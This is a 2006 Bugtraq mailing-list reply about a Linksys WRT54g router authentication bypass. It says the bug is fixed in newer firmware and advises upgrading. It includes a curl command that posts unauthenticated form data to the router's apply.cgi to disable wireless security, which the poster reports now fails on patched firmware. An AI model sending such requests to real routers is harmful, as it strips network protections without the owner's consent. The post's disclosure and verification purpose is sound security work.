bugtraq - Re: linksys WRT54g authentication bypass

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Date: Tue, 08 Aug 2006 14:01:24 +0800
From: "guant a" <guant@...kermail.com>
To: ginsurabbit@...mail.com
Cc: bugtraq@...urityfocus.com
Subject: Re: linksys WRT54g authentication bypass

> I'm having some trouble believing this hasn't been reported before.  If you
> have a linksys router handy, please check to see whether it is vulnerable to
> this attack.  It's possible that all of the linksys router web UIs have the
> same bug.  Hopefully the problem is isolated to one particular model or
> firmware revision.

This is fixed in at least v4.00.7 and above. Your original command doesn't 
work, the file doesn't even exist. But redoing it as such:

curl -d "submit_button=WL_WPATable" -d "change_action=gozila_cgi" -d \
"submit_type=" -d "action=" -d "security_mode_last=" -d "wl_wep_last=" -d \
"security_mode=disabled" http://192.168.1.1/apply.cgi

Results in "Authentication Required". (The strings were grabbed from ethereal, as I disabled the security, which would explain the multitude of empty options, but whatever.) This is an old bug that was fixed, which should explain the lack of vendor dialog. Upgrade, upgrade, upgrade. :)

guant

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